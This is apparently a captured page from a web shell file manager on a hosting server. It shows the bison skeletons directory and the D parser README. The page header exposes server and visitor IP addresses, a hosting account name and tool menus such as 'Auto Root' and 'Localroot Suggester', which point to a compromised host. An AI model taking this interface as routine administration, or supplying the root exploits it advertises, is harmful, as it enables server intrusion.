Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
LiteSpeed
Server IP : 23.137.84.82 & Your IP : 216.73.216.127
Domains :
Cant Read [ /etc/named.conf ]
User : epicgamerzoneco
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
bison /
skeletons /
Delete
Unzip
Name
Size
Permission
Date
Action
README-D.txt
1.85
KB
-rw-r--r--
2020-07-07 04:23
bison.m4
41.03
KB
-rw-r--r--
2020-11-14 10:49
c++-skel.m4
1.14
KB
-rw-r--r--
2020-07-07 04:23
c++.m4
20.7
KB
-rw-r--r--
2020-11-14 10:49
c-like.m4
2.5
KB
-rw-r--r--
2020-09-21 05:00
c-skel.m4
1.14
KB
-rw-r--r--
2020-07-07 04:23
c.m4
32.15
KB
-rw-r--r--
2020-11-14 10:49
d-skel.m4
1.11
KB
-rw-r--r--
2020-07-07 04:23
d.m4
10.48
KB
-rw-r--r--
2020-11-14 10:49
glr.c
88.88
KB
-rw-r--r--
2020-11-14 10:49
glr.cc
12.35
KB
-rw-r--r--
2020-11-14 10:49
java-skel.m4
1.14
KB
-rw-r--r--
2020-07-07 04:23
java.m4
14.25
KB
-rw-r--r--
2020-11-13 06:00
lalr1.cc
50.08
KB
-rw-r--r--
2020-11-14 10:49
lalr1.d
29.84
KB
-rw-r--r--
2020-11-14 10:49
lalr1.java
36.19
KB
-rw-r--r--
2020-11-14 10:49
location.cc
10.13
KB
-rw-r--r--
2020-11-14 10:49
stack.hh
3.88
KB
-rw-r--r--
2020-11-14 10:49
traceon.m4
87
B
-rw-r--r--
2020-09-21 05:00
variant.hh
14.66
KB
-rw-r--r--
2020-11-14 10:49
yacc.c
69.6
KB
-rw-r--r--
2020-11-14 10:49
Save
Rename
Some usage notes for the D Parser: - it is a port of the Java parser, so interface is very similar. - the lexer class needs to implement the interface 'Lexer' (similar to java). It typically (depending on options) looks like this: public interface Lexer { /** * Method to retrieve the beginning position of the last scanned token. * @return the position at which the last scanned token starts. */ @property YYPosition startPos (); /** * Method to retrieve the ending position of the last scanned token. * @return the first position beyond the last scanned token. */ @property YYPosition endPos (); /** * Method to retrieve the semantic value of the last scanned token. * @return the semantic value of the last scanned token. */ @property YYSemanticType semanticVal (); /** * Entry point for the scanner. Returns the token identifier corresponding * to the next token and prepares to return the semantic value * and beginning/ending positions of the token. * @return the token identifier corresponding to the next token. */ TokenKind yylex (); /** * Entry point for error reporting. Emits an error * referring to the given location in a user-defined way. * * @param loc The location of the element to which the * error message is related * @param s The string for the error message. */ void yyerror (YYLocation loc, string s); } - semantic types are handled by D unions (same as for C/C++ parsers) - the following (non-standard) %defines are supported: %define package "<package_name>" %define api.parser.class "my_class_name>" %define position_type "my_position_type" %define location_type "my_location_type" - the following declarations basically work like in C/C++: %locations %error-verbose %parse-param %initial-action %code %union - %destructor is not yet supported